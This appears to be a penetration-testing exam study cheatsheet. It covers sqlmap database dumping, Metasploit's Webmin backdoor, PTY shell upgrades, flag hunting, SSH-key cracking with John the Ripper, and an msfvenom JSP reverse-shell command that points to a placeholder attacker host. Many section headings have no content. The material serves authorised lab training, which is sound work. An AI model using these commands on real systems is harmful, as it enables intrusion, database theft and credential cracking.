1 · SQL Injection with sqlmap

sqlmap exploits SQLi on web apps/database servers.

sqlmap -r req.file --batch --dbs --technique=T
sqlmap -r req.file -D <db> --tables
sqlmap -r req.file -D <db> -T <table> --dump-all

2 · Capturing the HTTP Request (Burp)

Configure Burp + browser proxy, intercept the login request, and save it as req.file to feed sqlmap.

3 · Metasploit & Webmin Backdoor

4 · Meterpreter PTY Explanation

python3 -c 'import pty;pty.spawn("/bin/bash")'

5 · Locating flags / usernames / ssh keys

find / -name user_name 2>/dev/null
find / -name flag.txt 2>/dev/null

6 · Cracking SSH key (John the Ripper)

7 · msfvenom JSP Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATK_IP LPORT=4444 -f war > revshell.war

⚡ Command Cheatsheet (one-liners)

🔁 Linux vs Windows Commands

🧠 Key Concepts Recap

• srvhost — only needed for non-direct payload delivery (mini HTTP server trick).
• RSA BEGIN/END header — MUST be kept when copying the SSH key for ssh2john.
• Meterpreter shell ≠ real terminal — spawn a PTY with python3 to get interactive bash.
• rockyou.txt — classic wordlist; gunzip if compressed before running john.
• cw war payload — JSP reverse TCP shell deploys to Tomcat/WildFly/WebLogic.
• nmap -p- — scan all ports first to discover the target's services.

🧰 Extra Basic Commands (handy for labs)

📝 Helpful Exam-Prep & Extra Knowledge

🔐 Exploitation Workflow (memorize the order)

💡 Quick Concepts

• Reverse shell vs bind shell: reverse = target connects OUT to attacker (LHOST/LPORT); bind = attacker connects INTO target's open port. Reverse is more common (bypasses firewalls).
• WHY upgrade to PTY: a plain shell has no job control / TTY; many commands (su, sudo, interactive tools) fail without a real terminal.
• LHOST vs srvhost: lhost = where the reverse shell connects back; srvhost = the mini HTTP server IP from which the target downloads the payload (only for non-direct delivery).
• Metasploit set vs use: use selects the module; set fills its options (rhosts/lhost/lport).

🔑 SSH Key Resolution Order (exam favorite)

1. Read the key — keep BEGIN/END lines
2. ssh2john key → hash
3. Convert if encrypted: chmod 600 + ssh-keygen -p to remove passphrase if needed
4. Crack hash with john + rockyou
5. Use: ssh -i key user@target

🧩 SQLi → Data Exfiltration Flow

🚩 Common Flag-Hunting Tips

• Flags often live in /root, /home/<user>, /var/www, or as flag.txt / user.txt / root.txt
• find / -name "*.txt" 2>/dev/null | grep -i flag
• Check sudo -l for privilege-escalation paths
• Watch for world-readable ssh keys (chmod 600 before use)

🗒️ Cheatsheet Quick-Ref

🎓 Study Tips

Phase 1 · Recon (Information Gathering)

Phase 2 · Enumeration (Dig into each service)

Phase 3 · Vulnerability Discovery

Phase 4 · Exploitation (Gain a foothold)

Phase 5 · Post-Exploitation

Phase 6 · Privilege Escalation

Phase 7 · Crack Hashes → Lateral Move / Root

Phase 8 · Report (if assessed)

Before Touching Anything · 60-Second Setup

Sample 1 · SQLi Login → Directory Discovery → Upload Path

Keywords from the brief: SQLi bypass login, DirB/GoBuster, PHP reverse-shell upload, Netcat.

Sample 2 · LFI → Credential Testing → Sudo/GTFOBins

Keywords from the brief: Local File Inclusion (LFI), Hydra, GTFOBins, privilege escalation.

Sample 3 · Webmin RCE / Command Injection Workflow

Keywords from the brief: exploit-db, Webmin 1.920, CVE-2019-15107, Burp Suite/Metasploit, Netcat, tar.

Sample 4 · FTP + Hydra + Privilege Escalation

Keywords from the brief: Hydra, FTP get, GTFOBins.

Samples 5 & 6 · Exploit-DB Source → Compile → Execute (Lab Only)

Keywords from the brief: Exploit-DB, gcc, Hydra, Gobuster, hexedit, privilege escalation.

Exam Decision Tree

Final Submission Checklist

• Target/IP, timestamp and scope are recorded.
• Every finding has reproducible steps, evidence and a clear impact.
• Commands include the meaningful output, not only the command line.
• Credentials, payloads and tools are attributed to the authorised lab scenario.
• Privilege level is demonstrated with id/whoami, not assumed.